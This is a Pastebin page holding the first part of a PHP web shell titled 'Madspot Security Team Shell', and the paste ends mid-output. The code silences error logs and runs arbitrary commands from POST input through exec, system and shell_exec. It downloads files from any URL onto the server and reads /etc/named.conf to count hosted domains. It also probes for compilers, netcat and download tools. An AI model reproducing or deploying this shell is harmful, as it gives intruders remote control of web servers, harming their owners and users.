indongsaeng

Madspot shell

Oct 1st, 2013
571
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.36 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * @author Ikram ALI
  5. * @copyright 2012
  6. */
  7. @define('VERSION','1.0');
  8. @error_reporting(E_ALL ^ E_NOTICE);
  9. @session_start();
  10. @ini_set('error_log',NULL);
  11. @ini_set('log_errors',0);
  12. @ini_set('max_execution_time',0);
  13. @set_time_limit(0);
  14. @set_magic_quotes_runtime(0);
  15.  
  16. if(get_magic_quotes_gpc()) {
  17. function madstripslashes($array) {
  18. return is_array($array) ? array_map('madstripslashes', $array) : stripslashes($array);
  19. }
  20. $_POST = madstripslashes($_POST);
  21. }
  22. $default_action = 'FilesMan';
  23. $default_use_ajax = true;
  24. $default_charset = 'Windows-1251';
  25. if (strtolower(substr(PHP_OS,0,3))=="win")
  26. $sys='win';
  27. else
  28. $sys='unix';
  29.  
  30. $home_cwd = @getcwd();
  31. if(isset($_POST['c']))
  32. @chdir($_POST['c']);
  33.  
  34. $cwd = @getcwd();
  35. if($sys == 'win')
  36. {
  37. $home_cwd = str_replace("\\", "/", $home_cwd);
  38. $cwd = str_replace("\\", "/", $cwd);
  39. }
  40.  
  41. if($cwd[strlen($cwd)-1] != '/' )
  42. $cwd .= '/';
  43.  
  44.  
  45. function madEx($in) {
  46. $out = '';
  47. if (function_exists('exec')) {
  48. @exec($in,$out);
  49. $out = @join("\n",$out);
  50. } elseif (function_exists('passthru')) {
  51. ob_start();
  52. @passthru($in);
  53. $out = ob_get_clean();
  54. } elseif (function_exists('system')) {
  55. ob_start();
  56. @system($in);
  57. $out = ob_get_clean();
  58. } elseif (function_exists('shell_exec')) {
  59. $out = shell_exec($in);
  60. } elseif (is_resource($f = @popen($in,"r"))) {
  61. $out = "";
  62. while(!@feof($f))
  63. $out .= fread($f,1024);
  64. pclose($f);
  65. }
  66. return $out;
  67. }
  68. $down=@getcwd();
  69. if($sys=="win")
  70. $down.='\\';
  71. else
  72. $down.='/';
  73. if(isset($_POST['rtdown']))
  74. {
  75. $url = $_POST['rtdown'];
  76. $newfname = $down. basename($url);
  77. $file = fopen ($url, "rb");
  78. if ($file) {
  79. $newf = fopen ($newfname, "wb");
  80. if ($newf)
  81. while(!feof($file)) {
  82. fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
  83. }
  84. }
  85.  
  86. if ($file) {
  87. fclose($file);
  88. }
  89. if ($newf) {
  90. fclose($newf);
  91. }
  92. }
  93.  
  94.  
  95.  
  96. function madhead()
  97. {
  98. if(empty($_POST['charset']))
  99. $_POST['charset'] = $GLOBALS['default_charset'];
  100.  
  101. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  102. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  103. $totalSpace = $totalSpace?$totalSpace:1;
  104.  
  105. $on="<font color=#0F0> ON </font>";
  106. $of="<font color=red> OFF </font>";
  107. $none="<font color=#0F0> NONE </font>";
  108. if(function_exists('curl_version'))
  109. $curl=$on;
  110. else
  111. $curl=$of;
  112. if(function_exists('mysql_get_client_info'))
  113. $mysql=$on;
  114. else
  115. $mysql=$of;
  116. if(function_exists('mssql_connect'))
  117. $mssql=$on;
  118. else
  119. $mssql=$of;
  120.  
  121. if(function_exists('pg_connect'))
  122. $pg=$on;
  123. else
  124. $pg=$of;
  125. if(function_exists('oci_connect'))
  126. $or=$on;
  127. else
  128. $or=$of;
  129. if(@ini_get('disable_functions'))
  130. $disfun=@ini_get('disable_functions');
  131. else
  132. $disfun="All Functions Enable";
  133. if(@ini_get('safe_mode'))
  134. $safe_modes="<font color=red>ON</font>";
  135. else
  136. $safe_modes="<font color=#0F0 >OFF</font>";
  137. if(@ini_get('open_basedir'))
  138. $open_b=@ini_get('open_basedir');
  139. else
  140. $open_b=$none;
  141.  
  142.  
  143. if(@ini_get('safe_mode_exec_dir'))
  144. $safe_exe=@ini_get('safe_mode_exec_dir');
  145. else
  146. $safe_exe=$none;
  147. if(@ini_get('safe_mode_include_dir'))
  148. $safe_include=@ini_get('safe_mode_include_dir');
  149. else
  150. $safe_include=$none;
  151. if(!function_exists('posix_getegid'))
  152. {
  153. $user = @get_current_user();
  154. $uid = @getmyuid();
  155. $gid = @getmygid();
  156. $group = "?";
  157. } else
  158. {
  159. $uid = @posix_getpwuid(posix_geteuid());
  160. $gid = @posix_getgrgid(posix_getegid());
  161. $user = $uid['name'];
  162. $uid = $uid['uid'];
  163. $group = $gid['name'];
  164. $gid = $gid['gid'];
  165. }
  166.  
  167.  
  168. $cwd_links = '';
  169. $path = explode("/", $GLOBALS['cwd']);
  170. $n=count($path);
  171. for($i=0; $i<$n-1; $i++) {
  172. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  173. for($j=0; $j<=$i; $j++)
  174. $cwd_links .= $path[$j].'/';
  175. $cwd_links .= "\")'>".$path[$i]."/</a>";
  176. }
  177.  
  178. $drives = "";
  179. foreach(range('c','z') as $drive)
  180. if(is_dir($drive.':\\'))
  181. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  182.  
  183.  
  184.  
  185.  
  186.  
  187. echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  188. <html xmlns="http://www.w3.org/1999/xhtml">
  189. <head>
  190. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  191. <link href="http://www.madspot.net/favicon.ico" rel="icon" type="image/x-icon"/>
  192. <title>Madspot Security Team Shell</title>
  193. <style type="text/css">
  194. <!--
  195. .whole {
  196. background-color: #CCC;
  197. height:auto;
  198. width: auto;
  199. margin-top: 10px;
  200. margin-right: 10px;
  201. margin-left: 10px;
  202. }
  203. .header {
  204. height: auto;
  205. width: auto;
  206. border: 7px solid #CCC;
  207. color: #999;
  208. font-size: 12px;
  209. font-family: Verdana, Geneva, sans-serif;
  210. background-color: #000;
  211. }
  212. .header a {color:#0F0; text-decoration:none;}
  213. span {
  214. font-weight: bolder;
  215. color: #FFF;
  216. }
  217. #meunlist {
  218. font-family: Verdana, Geneva, sans-serif;
  219. color: #FFF;
  220. background-color: #000;
  221. width: auto;
  222. border-right-width: 7px;
  223. border-left-width: 7px;
  224. border-top-style: solid;
  225. border-right-style: solid;
  226. border-bottom-style: solid;
  227. border-left-style: solid;
  228. border-top-color: #CCC;
  229. border-right-color: #CCC;
  230. border-bottom-color: #CCC;
  231. border-left-color: #CCC;
  232. height: auto;
  233. font-size: 12px;
  234. font-weight: bold;
  235. border-top-width: 0px;
  236. }
  237. .whole #meunlist ul {
  238. padding-top: 5px;
  239. padding-right: 5px;
  240. padding-bottom: 7px;
  241. padding-left: 2px;
  242. text-align:center;
  243. list-style-type: none;
  244. margin: 0px;
  245. }
  246. .whole #meunlist li {
  247. margin: 0px;
  248. padding: 0px;
  249. display: inline;
  250. }
  251. .whole #meunlist a {
  252. font-family: arial, sans-serif;
  253. font-size: 14px;
  254. text-decoration:none;
  255. font-weight: bold;
  256. color: #fff;
  257. clear: both;
  258. width: 100px;
  259. margin-right: -6px;
  260. padding-top: 3px;
  261. padding-right: 15px;
  262. padding-bottom: 3px;
  263. padding-left: 15px;
  264. border-right-width: 1px;
  265. border-right-style: solid;
  266. border-right-color: #FFF;
  267. }
  268. .whole #meunlist a:hover {
  269. color: #000;
  270. background: #fff;
  271. }
  272.  
  273. .foot {
  274. font-family: Verdana, Geneva, sans-serif;
  275. background-color: #000;
  276. margin: 0px;
  277. padding: 0px;
  278. width: 100%;
  279. text-align: center;
  280. font-size: 12px;
  281. color: #CCC;
  282. border-right-width: 7px;
  283. border-left-width: 7px;
  284. border-bottom-width: 7px;
  285. border-bottom-style: solid;
  286. border-right-style: solid;
  287. border-right-style: solid;
  288. border-left-style: solid;
  289. border-top-color: #CCC;
  290. border-right-color: #CCC;
  291. border-bottom-color: #CCC;
  292. border-left-color: #CCC;
  293. }';
  294. if(is_writable($GLOBALS['cwd']))
  295. {
  296. echo ".foottable {
  297. width: 300px;
  298. font-weight: bold;
  299. }";}
  300. else
  301. {
  302. echo ".foottable {
  303. width: 300px;
  304. font-weight: bold;
  305. background-color:red;
  306. }
  307. .dir {
  308. background-color:red;
  309. }
  310. ";
  311. }
  312. echo '.main th{text-align:left;}
  313. .main a{color: #FFF;}
  314. .main tr:hover{background-color:red;}
  315. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  316. .bigarea{ width:99%; height:300px; }
  317. </style>
  318.  
  319. ';
  320.  
  321. echo "<script>
  322. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  323. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  324. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  325. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  326. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  327. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  328. var d = document;
  329. function set(a,c,p1,p2,p3,charset) {
  330. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  331. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  332. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  333. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  334. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  335. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  336. }
  337. function g(a,c,p1,p2,p3,charset) {
  338. set(a,c,p1,p2,p3,charset);
  339. d.mf.submit();
  340. }</script>";
  341.  
  342.  
  343. echo '
  344. </head>
  345.  
  346. <body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
  347. <div class="whole">
  348. <form method=post name=mf style="display:none;">
  349. <input type=hidden name=a>
  350. <input type=hidden name=c>
  351. <input type=hidden name=p1>
  352. <input type=hidden name=p2>
  353. <input type=hidden name=p3>
  354. <input type=hidden name=charset>
  355. </form>
  356. <div class="header"><table width="100%" border="0" align="lift">
  357. <tr>
  358. <td width="3%"><span>Uname:</span></td>
  359. <td colspan="2">'.substr(@php_uname(), 0, 120).'</td>
  360. </tr>
  361. <tr>
  362. <td><span>User:</span></td>
  363. <td>'. $uid . ' [ ' . $user . ' ] <span> Group: </span>' . $gid . ' [ ' . $group . ' ] </td>
  364. <td width="14%" rowspan="8"><img alt="" src="data:image/jpeg;base64,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" /></td>
  365. </tr>
  366. <tr>
  367. <td><span>PHP:</span></td>
  368. <td>'.@phpversion(). ' <span> Safe Mode:'.$safe_modes.'</span></td>
  369. </tr>
  370. <tr>
  371. <td><span>Our IP:</span></td>
  372. <td>'.@$_SERVER["SERVER_ADDR"].' <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>
  373. </tr>
  374. <tr>
  375. <td><span>WEBS:</span></td>
  376. <td width="76%">';
  377.  
  378. if($GLOBALS['sys']=='unix')
  379. {
  380. $d0mains = @file("/etc/named.conf");
  381. if(!$d0mains)
  382. {
  383. echo "CANT READ named.conf";
  384. }
  385. else
  386. {
  387. $count;
  388. foreach($d0mains as $d0main)
  389. {
  390. if(@ereg("zone",$d0main))
  391. {
  392. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  393. flush();
  394. if(strlen(trim($domains[1][0])) > 2){
  395. flush();
  396. $count++;
  397. }
  398. }
  399. }
  400. echo "$count Domains";
  401. }
  402. }
  403. else{ echo"CANT READ |Windows|";}
  404.  
  405. echo '</td>
  406. </tr>
  407. <tr>
  408. <td height="16"><span>HDD:</span></td>
  409. <td>'.madSize($totalSpace).' <span>Free:</span>' . madSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>
  410. </tr>';
  411.  
  412. if($GLOBALS['sys']=='unix' )
  413. {
  414. if(!@ini_get('safe_mode'))
  415. {
  416.  
  417. echo '<tr><td height="18" colspan="2"><span>Useful : </span>';
  418. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  419. foreach($userful as $item)
  420. if(madWhich($item))
  421. echo $item.',';
  422. echo '</td>
  423. </tr>
  424. <tr>
  425. <td height="0" colspan="2"><span>Downloader:</span>';
  426.  
  427. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  428. foreach($downloaders as $item2)
  429. if(madWhich($item2))
  430. echo $item2.',';
  431. echo '</td>
  432. </tr>';
  433.  
  434. }
  435. else
  436. {
  437. echo '<tr><td height="18" colspan="2"><span>useful:</span>';
  438. echo '--------------</td>
  439. </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
  440. </tr>';
  441. }
  442. }
  443. else
  444. {
  445. echo '<tr><td height="18" colspan="2"><span>Window:</span>';
  446. echo madEx('ver');
  447. echo '</td>
  448. </tr> <tr>
  449. <td height="0" colspan="2"><span>Downloader: </span>-------------</td>
  450. </tr>';
  451.  
  452. }
  453.  
  454.  
  455. echo '<tr>
  456. <td height="16" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td>
  457. </tr>
  458. <tr>
  459. <td height="16" colspan="2"><span>cURL:'.$curl.' MySQL:'.$mysql.' MSSQL:'.$mssql.' PostgreSQL:'.$pg.' Oracle: </span>'.$or.'</td><td width="15%">'.base64_decode("PGEgaHJlZj0iaHR0cDovL3d3dy5tYWRzcG90Lm5ldCIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuPjxmb250IGNvbG9yPSIjMEYwIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtNQURTUE9ULk5FVDwvZm9udD48L3NwYW4+PC9hPg==").'</td>
  460. </tr>
  461. <tr>
  462. <td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.' Safe_mode_include_dir:'.$safe_include.'</td>
  463. </tr>
  464. <tr>
  465. <td height="11"><span>Server </span></td>
  466. <td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>
  467. </tr>';
  468. if($GLOBALS[sys]=="win")
  469. {
  470. echo '<tr>
  471. <td height="12"><span>DRIVE:</span></td>
  472. <td colspan="2">'.$drives.'</td>
  473. </tr>';
Add Comment
Please, Sign In to add comment